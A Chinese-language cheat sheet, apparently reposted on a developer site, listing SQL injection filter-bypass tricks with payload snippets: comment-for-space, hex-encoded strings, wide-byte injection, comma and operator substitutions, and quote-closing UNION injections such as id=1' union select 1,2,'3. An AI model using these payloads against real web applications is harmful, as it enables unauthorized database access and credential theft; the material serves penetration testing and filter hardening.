概述
参考自
基本绕过方法
- 大小写
- 双写
- 编码,如URLEncode编码,ASCII编码绕过
- 内敛注释
空格绕过
- 用注释替换空格
select/**/user,password/**/from /**/users;
- 空格url编码%20
- 两个空格代替一个空格
- 用Tab代替空格
- %a0=空格
- 如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
- 回车
引号绕过
- 使用十六进制
例如:
select column_name from information_schema.columns where table_name='users';
如引号被过滤,就可以尝试使用十六进制来进行绕过
即可以将语句写为:
select column_name from information_schema.columns where table_name=0x7573657273;
- 还有一个办法(前提是已经得知数据库名称和表名,例如dvwa和users):
select column_name from information_schema.columns where table_schema=database();
查询所在数据库中的所有列名,然后
可以猜或者尝试得知哪些字段在哪个表中,然后:
select username,password from users;
- 宽字节注入
逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
-
对于substr()和mid()这两个方法可以使用from的方式来解决:
select substr(database() from 1 for 1);
-
使用join
union select 1,2
可以使用下面的句子代替
union select * from (select 1)a join (select 2)b
-
使用like
select ascii(mid(user(),1,1))=80
可以使用下面的句子代替
select user() like 'r%'
-
limit中,使用offset绕过
limit 1offset0
or and xor not绕过
- 利用符号替换
and = &&
or=||
xor=|
not=!
- 在敏感词中添加注释:
an/**/d
- 双写绕过oorr
- 大小写变形
- 编码
注释符绕过
id=1' union select 1,2,3 or '1'='1
即虽然无法使用注释符,但是可以闭合掉他
或者:id=1' union select 1,2,'3
- 最后添加
or 1'
- 最后添加
and '1'='1
等于号绕过
- 使用like
- 使用
!<>
,因为<>是不等于 - regrep (正则表达匹配)
<>被过滤
- greatest(),least()
- strcmp(str1,str2),第一个参数小于第二个参数,返回-1,否则为1
- in,between a and b
等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user =
最后
以上就是重要黑裤为你收集整理的SQL注入--绕过技巧的全部内容,希望文章能够帮你解决SQL注入--绕过技巧所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复